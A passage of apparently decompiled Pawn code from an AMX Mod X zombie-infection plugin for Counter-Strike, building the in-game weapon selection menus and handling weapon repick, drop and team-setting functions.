}
}
if(g_Weap_Repick[id])
{
g_Weap_Prim[id] = 5;
}
drop_primary_weapon(id);
md_give_weapon(id, "weapon_mp5navy");
cs_set_user_bpammo(id, 19, 120);
case 3:
if(get_pcvar_num(human_weapon_smgs) == 2)
{
if(!get_pcvar_num(human_weapon_p90))
{
weapon_menu_smgs(id);
return 1;
}
}
if(g_Weap_Repick[id])
{
g_Weap_Prim[id] = 6;
}
drop_primary_weapon(id);
md_give_weapon(id, "weapon_p90");
cs_set_user_bpammo(id, 30, 100);
case 4:
if(get_pcvar_num(human_weapon_smgs) == 2)
{
if(!get_pcvar_num(human_weapon_ump45))
{
weapon_menu_smgs(id);
return 1;
}
}
if(g_Weap_Repick[id])
{
g_Weap_Prim[id] = 7;
}
drop_primary_weapon(id);
md_give_weapon(id, "weapon_ump45");
cs_set_user_bpammo(id, 12, 100);
case 9:
weapon_main(id);
return 1;
}
weapon_menu_pistols(id);
return 1;
}
public weapon_menu_rifles(id)
{
new var0 = format(szMenuBody, 1023, "\\yZombie Mod Infection Weapon Menu \\r[Rifles]\\y:\n");
if(get_pcvar_num(human_weapon_rifles) == 2)
{
if(!get_pcvar_num(human_weapon_names))
{
if(!get_pcvar_num(human_weapon_famas))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d1. Famas");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Famas");
}
if(!get_pcvar_num(human_weapon_galil))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d2. Galil");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. Galil");
}
if(!get_pcvar_num(human_weapon_ak47))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d3. AK-47");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w3. AK-47");
}
if(!get_pcvar_num(human_weapon_m4a1))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d4. M4A1");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w4. M4A1");
}
if(!get_pcvar_num(human_weapon_sg552))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d5. SG552");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w5. SG552");
}
if(!get_pcvar_num(human_weapon_aug))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d6. Aug");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w6. Aug");
}
}
else
{
if(!get_pcvar_num(human_weapon_famas))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d1. Clarion 5.56");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Clarion 5.56");
}
if(!get_pcvar_num(human_weapon_galil))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d2. IDF Defender");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. IDF Defender");
}
if(!get_pcvar_num(human_weapon_ak47))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d3. CV-47");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w3. CV-47");
}
if(!get_pcvar_num(human_weapon_m4a1))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d4. Maverick M4A1 Carbine");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w4. Maverick M4A1 Carbine");
}
if(!get_pcvar_num(human_weapon_sg552))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d5. Krieg 552");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w5. Krieg 552");
}
if(!get_pcvar_num(human_weapon_aug))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d6. Bullpup");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w6. Bullpup");
}
}
}
else if(!get_pcvar_num(human_weapon_names))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Famas");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. Galil");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w3. AK-47");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w4. M4A1");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w5. SG552");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w6. Aug");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Clarion 5.56");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. IDF Defender");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w3. CV-47");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w4. Maverick M4A1 Carbine");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w5. Krieg 552");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w6. Bullpup");
}
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\n\n\n\n\\w0. Back");
keys = 575;
show_menu(id, keys, szMenuBody, -1, glob12A00);
return 0;
}
public weapon_menu_rifles_cmds(id, key)
{
if(!g_Human[id] && !Check_Preference(id))
{
return 1;
}
switch(key) {
case 0:
if(get_pcvar_num(human_weapon_rifles) == 2)
{
if(!get_pcvar_num(human_weapon_famas))
{
weapon_menu_rifles(id);
return 1;
}
}
if(g_Weap_Repick[id])
{
g_Weap_Prim[id] = 8;
}
drop_primary_weapon(id);
md_give_weapon(id, "weapon_famas");
cs_set_user_bpammo(id, 15, 90);
case 1:
if(get_pcvar_num(human_weapon_rifles) == 2)
{
if(!get_pcvar_num(human_weapon_galil))
{
weapon_menu_rifles(id);
return 1;
}
}
if(g_Weap_Repick[id])
{
g_Weap_Prim[id] = 9;
}
drop_primary_weapon(id);
md_give_weapon(id, "weapon_galil");
cs_set_user_bpammo(id, 14, 90);
case 2:
if(get_pcvar_num(human_weapon_rifles) == 2)
{
if(!get_pcvar_num(human_weapon_ak47))
{
weapon_menu_rifles(id);
return 1;
}
}
if(g_Weap_Repick[id])
{
g_Weap_Prim[id] = 10;
}
drop_primary_weapon(id);
md_give_weapon(id, "weapon_ak47");
cs_set_user_bpammo(id, 28, 90);
case 3:
if(get_pcvar_num(human_weapon_rifles) == 2)
{
if(!get_pcvar_num(human_weapon_m4a1))
{
weapon_menu_rifles(id);
return 1;
}
}
if(g_Weap_Repick[id])
{
g_Weap_Prim[id] = 11;
}
drop_primary_weapon(id);
md_give_weapon(id, "weapon_m4a1");
cs_set_user_bpammo(id, 22, 90);
case 4:
if(get_pcvar_num(human_weapon_rifles) == 2)
{
if(!get_pcvar_num(human_weapon_sg552))
{
weapon_menu_rifles(id);
return 1;
}
}
if(g_Weap_Repick[id])
{
g_Weap_Prim[id] = 12;
}
drop_primary_weapon(id);
md_give_weapon(id, "weapon_sg552");
cs_set_user_bpammo(id, 27, 90);
case 5:
if(get_pcvar_num(human_weapon_rifles) == 2)
{
if(!get_pcvar_num(human_weapon_aug))
{
weapon_menu_rifles(id);
return 1;
}
}
if(g_Weap_Repick[id])
{
g_Weap_Prim[id] = 13;
}
drop_primary_weapon(id);
md_give_weapon(id, "weapon_aug");
cs_set_user_bpammo(id, 8, 90);
case 9:
weapon_main(id);
return 1;
}
weapon_menu_pistols(id);
return 1;
}
public weapon_menu_snipers(id)
{
new var0 = format(szMenuBody, 1023, "\\yZombie Mod Infection Weapon Menu \\r[Snipers]\\y:\n");
if(get_pcvar_num(human_weapon_snipers) == 2)
{
if(!get_pcvar_num(human_weapon_names))
{
if(!get_pcvar_num(human_weapon_scout))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d1. Scout");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Scout");
}
if(!get_pcvar_num(human_weapon_awp))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d2. AWP");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. AWP");
}
}
else
{
if(!get_pcvar_num(human_weapon_scout))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d1. Schmidt Scout");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Schmidt Scout");
}
if(!get_pcvar_num(human_weapon_awp))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d2. Magnum Sniper Rifle");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. Magnum Sniper Rifle");
}
}
}
else if(!get_pcvar_num(human_weapon_names))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Scout");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. AWP");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Schmidt Scout");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. Magnum Sniper Rifle");
}
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\n\n\n\n\n\n\n\n\\w0. Back");
keys = 515;
show_menu(id, keys, szMenuBody, -1, glob12A00);
return 0;
}
public weapon_menu_snipers_cmds(id, key)
{
if(!g_Human[id] && !Check_Preference(id))
{
return 1;
}
switch(key) {
case 0:
if(get_pcvar_num(human_weapon_snipers) == 2)
{
if(!get_pcvar_num(human_weapon_scout))
{
weapon_menu_snipers(id);
return 1;
}
}
if(g_Weap_Repick[id])
{
g_Weap_Prim[id] = 14;
}
drop_primary_weapon(id);
md_give_weapon(id, "weapon_scout");
cs_set_user_bpammo(id, 3, 90);
case 1:
if(get_pcvar_num(human_weapon_snipers) == 2)
{
if(!get_pcvar_num(human_weapon_awp))
{
weapon_menu_snipers(id);
return 1;
}
}
if(g_Weap_Repick[id])
{
g_Weap_Prim[id] = 15;
}
drop_primary_weapon(id);
md_give_weapon(id, "weapon_awp");
cs_set_user_bpammo(id, 18, 30);
case 9:
weapon_main(id);
return 1;
}
weapon_menu_pistols(id);
return 1;
}
public weapon_menu_autosnipers(id)
{
new var0 = format(szMenuBody, 1023, "\\yZombie Mod Infection Weapon Menu \\r[Auto Snipers]\\y:\n");
if(get_pcvar_num(human_weapon_auto_snipers) == 2)
{
if(!get_pcvar_num(human_weapon_names))
{
if(!get_pcvar_num(human_weapon_sg550))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d1. SG550");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. SG550");
}
if(!get_pcvar_num(human_weapon_g3sg1))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d2. G3SG1");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. G3SG1");
}
}
else
{
if(!get_pcvar_num(human_weapon_sg550))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d1. Krieg 550 Commando");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Krieg 550 Commando");
}
if(!get_pcvar_num(human_weapon_g3sg1))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d2. A3/AU-1");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. A3/AU-1");
}
}
}
else if(!get_pcvar_num(human_weapon_names))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. SG550");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. G3SG1");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Krieg 550 Commando");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. A3/AU-1");
}
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\n\n\n\n\n\n\n\n\\w0. Back");
keys = 515;
show_menu(id, keys, szMenuBody, -1, glob12A00);
return 0;
}
public weapon_menu_autosnipers_cmds(id, key)
{
if(!g_Human[id] && !Check_Preference(id))
{
return 1;
}
switch(key) {
case 0:
if(get_pcvar_num(human_weapon_snipers) == 2)
{
if(!get_pcvar_num(human_weapon_sg550))
{
weapon_menu_autosnipers(id);
return 1;
}
}
if(g_Weap_Repick[id])
{
g_Weap_Prim[id] = 16;
}
drop_primary_weapon(id);
md_give_weapon(id, "weapon_sg550");
cs_set_user_bpammo(id, 13, 90);
case 1:
if(get_pcvar_num(human_weapon_snipers) == 2)
{
if(!get_pcvar_num(human_weapon_g3sg1))
{
weapon_menu_autosnipers(id);
return 1;
}
}
if(g_Weap_Repick[id])
{
g_Weap_Prim[id] = 17;
}
drop_primary_weapon(id);
md_give_weapon(id, "weapon_g3sg1");
cs_set_user_bpammo(id, 24, 90);
case 9:
weapon_main(id);
return 1;
}
weapon_menu_pistols(id);
return 1;
}
public weapon_menu_pistols(id)
{
if(!get_pcvar_num(human_weapon_pistols))
{
weapon_menu_gernades(id);
return 1;
}
if(get_pcvar_num(human_weapon_pistols) == 2)
{
if(0 >= get_pcvar_num(human_weapon_glock18) + get_pcvar_num(human_weapon_usp) + get_pcvar_num(human_weapon_p228) + get_pcvar_num(human_weapon_deagle) + get_pcvar_num(human_weapon_fiveseven) + get_pcvar_num(human_weapon_elite))
{
weapon_menu_gernades(id);
return 1;
}
}
new var0 = format(szMenuBody, 1023, "\\yZombie Mod Infection Weapon Menu \\r[Pistols]\\y:\n");
if(get_pcvar_num(human_weapon_pistols) == 2)
{
if(!get_pcvar_num(human_weapon_names))
{
if(!get_pcvar_num(human_weapon_glock18))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d1. Glock-18");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Glock-18");
}
if(!get_pcvar_num(human_weapon_usp))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d2. USP");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. USP");
}
if(!get_pcvar_num(human_weapon_p228))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d3. P228");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w3. P228");
}
if(!get_pcvar_num(human_weapon_deagle))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d4. Desert Eagle");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w4. Desert Eagle");
}
if(!get_pcvar_num(human_weapon_fiveseven))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d5. Five-Seven");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w5. Five-Seven");
}
if(!get_pcvar_num(human_weapon_elite))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d6. Dual Elites\n\n\n\n\n");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w6. Dual Elites\n\n\n\n\n");
}
}
else
{
if(!get_pcvar_num(human_weapon_glock18))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d1. 9x19MM Sidearm");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. 9x19MM Sidearm");
}
if(!get_pcvar_num(human_weapon_usp))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d2. KM .45 Tactical");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. KM .45 Tactical");
}
if(!get_pcvar_num(human_weapon_p228))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d3. 228 Compact");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w3. 228 Compact");
}
if(!get_pcvar_num(human_weapon_deagle))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d4. Night Hawk .50C");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w4. Night Hawk .50C");
}
if(!get_pcvar_num(human_weapon_fiveseven))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d5. Five-Seven");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w5. Five-Seven");
}
if(!get_pcvar_num(human_weapon_elite))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d6. .40 Dual Elites\n\n\n\n\n");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w6. .40 Dual Elites\n\n\n\n\n");
}
}
}
else if(!get_pcvar_num(human_weapon_names))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Glock-18");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. USP");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w3. P228");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w4. Desert Eagle");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w5. Five-Seven");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w6. Dual Elites\n\n\n\n\n");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. 9x19MM Sidearm");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. KM .45 Tactical");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w3. 228 Compact");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w4. Night Hawk .50C");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w5. Five-Seven");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w6. .40 Dual Elites\n\n\n\n\n");
}
keys = 63;
show_menu(id, keys, szMenuBody, -1, glob12A00);
return 0;
}
public weapon_menu_pistols_cmds(id, key)
{
if(!g_Human[id] && !Check_Preference(id))
{
return 1;
}
switch(key) {
case 0:
if(get_pcvar_num(human_weapon_pistols) == 2)
{
if(!get_pcvar_num(human_weapon_glock18))
{
weapon_menu_pistols(id);
return 1;
}
}
if(g_Weap_Repick[id])
{
g_Weap_Sec[id] = 1;
}
drop_secondary_weapon(id);
md_give_weapon(id, "weapon_glock18");
cs_set_user_bpammo(id, 17, 120);
case 1:
if(get_pcvar_num(human_weapon_pistols) == 2)
{
if(!get_pcvar_num(human_weapon_usp))
{
weapon_menu_pistols(id);
return 1;
}
}
if(g_Weap_Repick[id])
{
g_Weap_Sec[id] = 2;
}
drop_secondary_weapon(id);
md_give_weapon(id, "weapon_usp");
cs_set_user_bpammo(id, 16, 100);
case 2:
if(get_pcvar_num(human_weapon_pistols) == 2)
{
if(!get_pcvar_num(human_weapon_p228))
{
weapon_menu_pistols(id);
return 1;
}
}
if(g_Weap_Repick[id])
{
g_Weap_Sec[id] = 3;
}
drop_secondary_weapon(id);
md_give_weapon(id, "weapon_p228");
cs_set_user_bpammo(id, 1, 52);
case 3:
if(get_pcvar_num(human_weapon_pistols) == 2)
{
if(!get_pcvar_num(human_weapon_deagle))
{
weapon_menu_pistols(id);
return 1;
}
}
if(g_Weap_Repick[id])
{
g_Weap_Sec[id] = 4;
}
drop_secondary_weapon(id);
md_give_weapon(id, "weapon_deagle");
cs_set_user_bpammo(id, 26, 35);
case 4:
if(get_pcvar_num(human_weapon_pistols) == 2)
{
if(!get_pcvar_num(human_weapon_fiveseven))
{
weapon_menu_pistols(id);
return 1;
}
}
if(g_Weap_Repick[id])
{
g_Weap_Sec[id] = 5;
}
drop_secondary_weapon(id);
md_give_weapon(id, "weapon_fiveseven");
cs_set_user_bpammo(id, 11, 100);
case 5:
if(get_pcvar_num(human_weapon_pistols) == 2)
{
if(!get_pcvar_num(human_weapon_elite))
{
weapon_menu_pistols(id);
return 1;
}
}
if(g_Weap_Repick[id])
{
g_Weap_Sec[id] = 6;
}
drop_secondary_weapon(id);
md_give_weapon(id, "weapon_elite");
cs_set_user_bpammo(id, 10, 120);
}
weapon_menu_gernades(id);
return 1;
}
public weapon_menu_gernades(id)
{
if(!get_pcvar_num(human_weapon_nades))
{
if(g_Weap_Repick[id])
{
client_print(id, 3, "[MD] To repick your weapons type \"/zmmenu\"");
}
if(!g_FirstConnected[id])
{
g_FirstConnected[id] = 1;
zmod_menu(id);
}
return 1;
}
if(get_pcvar_num(human_weapon_nades) == 2)
{
if(0 >= get_pcvar_num(human_weapon_hegrenade) + get_pcvar_num(human_weapon_smokegrenade) + get_pcvar_num(human_weapon_hesmgrenade))
{
if(g_Weap_Repick[id])
{
client_print(id, 3, "[MD] To repick your weapons type \"/zmmenu\"");
}
if(!g_FirstConnected[id])
{
g_FirstConnected[id] = 1;
zmod_menu(id);
}
return 1;
}
}
new var0 = format(szMenuBody, 1023, "\\yZombie Mod Infection Weapon Menu \\r[Gernades]\\y:\n");
if(get_pcvar_num(human_weapon_nades) == 2)
{
if(!get_pcvar_num(human_weapon_hegrenade))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d1. HE Grenade");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. HE Grenade");
}
if(!get_pcvar_num(human_weapon_smokegrenade))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d2. Smoke Grenade");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. Smoke Grenade");
}
if(!get_pcvar_num(human_weapon_hesmgrenade))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\d3. Both Grenades");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w3. Both Grenades");
}
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. HE Grenade");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. Smoke Grenade");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w3. Both Grenades");
}
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\n\n\n\n\n\n\n\\w0. None");
keys = 519;
show_menu(id, keys, szMenuBody, -1, glob12A00);
return 0;
}
public weapon_menu_gernades_cmds(id, key)
{
if(!g_Human[id] && !Check_Preference(id))
{
return 1;
}
switch(key) {
case 0:
if(get_pcvar_num(human_weapon_nades) == 2)
{
if(!get_pcvar_num(human_weapon_hegrenade))
{
weapon_menu_gernades(id);
return 1;
}
}
if(g_Weap_Repick[id])
{
g_Weap_Nade[id] = 1;
}
md_give_weapon(id, "weapon_hegrenade");
case 1:
if(get_pcvar_num(human_weapon_nades) == 2)
{
if(!get_pcvar_num(human_weapon_smokegrenade))
{
weapon_menu_gernades(id);
return 1;
}
}
if(g_Weap_Repick[id])
{
g_Weap_Nade[id] = 2;
}
md_give_weapon(id, "weapon_smokegrenade");
case 2:
if(get_pcvar_num(human_weapon_nades) == 2)
{
if(!get_pcvar_num(human_weapon_hesmgrenade))
{
weapon_menu_gernades(id);
return 1;
}
}
if(g_Weap_Repick[id])
{
g_Weap_Nade[id] = 3;
}
md_give_weapon(id, "weapon_hegrenade");
md_give_weapon(id, "weapon_smokegrenade");
case 9:
if(g_Weap_Repick[id])
{
g_Weap_Nade[id] = 4;
}
return 1;
}
if(g_Weap_Repick[id])
{
client_print(id, 3, "[MD] To repick your weapons type \"/zmmenu\"");
}
if(!g_FirstConnected[id])
{
g_FirstConnected[id] = 1;
zmod_menu(id);
}
return 1;
}
public repickweapons(id)
{
if(!is_user_alive(id))
{
return 1;
}
if(g_Weap_Repick[id])
{
switch(g_Weap_Prim[id]) {
case 1:
md_give_weapon(id, "weapon_m3");
cs_set_user_bpammo(id, 21, 32);
case 2:
md_give_weapon(id, "weapon_xm1014");
cs_set_user_bpammo(id, 5, 32);
case 3:
md_give_weapon(id, "weapon_tmp");
cs_set_user_bpammo(id, 23, 120);
case 4:
md_give_weapon(id, "weapon_mac10");
cs_set_user_bpammo(id, 7, 100);
case 5:
md_give_weapon(id, "weapon_mp5navy");
cs_set_user_bpammo(id, 19, 120);
case 6:
md_give_weapon(id, "weapon_p90");
cs_set_user_bpammo(id, 30, 100);
case 7:
md_give_weapon(id, "weapon_ump45");
cs_set_user_bpammo(id, 12, 100);
case 8:
md_give_weapon(id, "weapon_famas");
cs_set_user_bpammo(id, 15, 90);
case 9:
md_give_weapon(id, "weapon_galil");
cs_set_user_bpammo(id, 14, 90);
case 10:
md_give_weapon(id, "weapon_ak47");
cs_set_user_bpammo(id, 28, 90);
case 11:
md_give_weapon(id, "weapon_m4a1");
cs_set_user_bpammo(id, 22, 90);
case 12:
md_give_weapon(id, "weapon_sg552");
cs_set_user_bpammo(id, 27, 90);
case 13:
md_give_weapon(id, "weapon_aug");
cs_set_user_bpammo(id, 8, 90);
case 14:
md_give_weapon(id, "weapon_scout");
cs_set_user_bpammo(id, 3, 90);
case 15:
md_give_weapon(id, "weapon_awp");
cs_set_user_bpammo(id, 18, 30);
case 16:
md_give_weapon(id, "weapon_sg550");
cs_set_user_bpammo(id, 13, 90);
case 17:
md_give_weapon(id, "weapon_g3sg1");
cs_set_user_bpammo(id, 24, 90);
}
switch(g_Weap_Sec[id]) {
case 1:
md_give_weapon(id, "weapon_glock18");
cs_set_user_bpammo(id, 17, 120);
case 2:
md_give_weapon(id, "weapon_usp");
cs_set_user_bpammo(id, 16, 100);
case 3:
md_give_weapon(id, "weapon_p228");
cs_set_user_bpammo(id, 1, 52);
case 4:
md_give_weapon(id, "weapon_deagle");
cs_set_user_bpammo(id, 26, 35);
case 5:
md_give_weapon(id, "weapon_fiveseven");
cs_set_user_bpammo(id, 11, 100);
case 6:
md_give_weapon(id, "weapon_elite");
cs_set_user_bpammo(id, 10, 120);
}
switch(g_Weap_Nade[id]) {
case 1:
md_give_weapon(id, "weapon_hegrenade");
case 2:
md_give_weapon(id, "weapon_smokegrenade");
case 3:
md_give_weapon(id, "weapon_hegrenade");
md_give_weapon(id, "weapon_smokegrenade");
}
}
return 0;
}
public drop_primary_weapon(id)
{
engclient_cmd(id, "drop", "weapon_shield", glob188F0);
engclient_cmd(id, "drop", "weapon_m3", glob188F0);
engclient_cmd(id, "drop", "weapon_xm1014", glob188F0);
engclient_cmd(id, "drop", "weapon_mp5navy", glob188F0);
engclient_cmd(id, "drop", "weapon_p90", glob188F0);
engclient_cmd(id, "drop", "weapon_mac10", glob188F0);
engclient_cmd(id, "drop", "weapon_tmp", glob188F0);
engclient_cmd(id, "drop", "weapon_ump45", glob188F0);
engclient_cmd(id, "drop", "weapon_galil", glob188F0);
engclient_cmd(id, "drop", "weapon_famas", glob188F0);
engclient_cmd(id, "drop", "weapon_m4a1", glob188F0);
engclient_cmd(id, "drop", "weapon_aug", glob188F0);
engclient_cmd(id, "drop", "weapon_ak47", glob188F0);
engclient_cmd(id, "drop", "weapon_sg552", glob188F0);
engclient_cmd(id, "drop", "weapon_scout", glob188F0);
engclient_cmd(id, "drop", "weapon_awp", glob188F0);
engclient_cmd(id, "drop", "weapon_sg550", glob188F0);
engclient_cmd(id, "drop", "weapon_g3sg1", glob188F0);
engclient_cmd(id, "drop", "weapon_m249", glob188F0);
if(g_Zombie[id])
{
set_pev(id, 144, szvKnifeModel);
set_pev(id, 143, szpKnifeModel);
set_task(1.0, "event_CurWeapon", id, globD1F0, 0, globD1F4, 0);
}
return 0;
}
public drop_secondary_weapon(id)
{
engclient_cmd(id, "drop", "weapon_p228", glob188F0);
engclient_cmd(id, "drop", "weapon_elite", glob188F0);
engclient_cmd(id, "drop", "weapon_fiveseven", glob188F0);
engclient_cmd(id, "drop", "weapon_usp", glob188F0);
engclient_cmd(id, "drop", "weapon_glock18", glob188F0);
engclient_cmd(id, "drop", "weapon_deagle", glob188F0);
if(g_Zombie[id])
{
set_pev(id, 144, szvKnifeModel);
set_pev(id, 143, szpKnifeModel);
set_task(1.0, "event_CurWeapon", id, globD1F0, 0, globD1F4, 0);
}
return 0;
}
stock str_count(str, searchchar)
{
new var0 = 0;
new var1 = strlen(str);
new var2 = 0;
for(var0 = 0; var0 <= var1; var0++)
{
if(str[var0] == searchchar)
{
var2++;
}
}
return var2;
}
stock is_hull_vacant(hull, hull)
{
new var0 = 0;
engfunc(32, hull, hull, hull, var0);
if(!get_tr2(var0, 1) && !get_tr2(var0, 0) && get_tr2(var0, 2))
{
return 1;
}
return 0;
}
stock md_set_user_team(index, team)
{
if(!pev_valid(index))
{
return 0;
}
set_pdata_int(index, 114, team, 5);
new var0[12];
switch(team) {
case 0:
copy(var0, 11, "UNASSIGNED");
case 1:
copy(var0, 11, "TERRORIST");
case 2:
copy(var0, 11, "CT");
case 3:
copy(var0, 11, "SPECTATOR");
}
message_begin(2, gmsg_TeamInfo, glob25B48, 0);
write_byte(index);
write_string(var0);
message_end();
return 1;
}
stock register_saycmd(saycommand, info, info, info)
{
new Menu:var0[64];
format(var0, 63, "say /%s", saycommand);
register_clcmd(var0, info, info, info, -1);
format(var0, 63, "say %s", saycommand);
register_clcmd(var0, info, info, info, -1);
format(var0, 63, "say_team /%s", saycommand);
register_clcmd(var0, info, info, info, -1);
format(var0, 63, "say_team %s", saycommand);
register_clcmd(var0, info, info, info, -1);
format(var0, 63, "%s", saycommand);
register_clcmd(var0, info, info, info, -1);
return 0;
}
stock Check_Preference(index)
{
if(!g_Weap_Repick[index])
{
return 0;
}
if(!g_Weap_Prim[index] && !get_pcvar_num(human_weapon_pistols))
{
g_Weap_Repick[index] = 0;
g_Weap_Nade[index] = 0;
g_Weap_Prim[index] = 0;
g_Weap_Sec[index] = 0;
return 0;
}
if((!g_Weap_Prim[index] || !g_Weap_Sec[index]) && !get_pcvar_num(human_weapon_nades))
{
if(get_pcvar_num(human_weapon_pistols) == 2 && !g_Weap_Sec[index])
{
if(get_pcvar_num(human_weapon_glock18) + get_pcvar_num(human_weapon_usp) + get_pcvar_num(human_weapon_p228) + get_pcvar_num(human_weapon_deagle) + get_pcvar_num(human_weapon_fiveseven) + get_pcvar_num(human_weapon_elite) == 12)
{
if(!is_user_admin(index))
{
return 1;
}
}
}
g_Weap_Repick[index] = 0;
g_Weap_Nade[index] = 0;
g_Weap_Prim[index] = 0;
g_Weap_Sec[index] = 0;
return 0;
}
if(!g_Weap_Nade[index] && get_pcvar_num(human_weapon_nades))
{
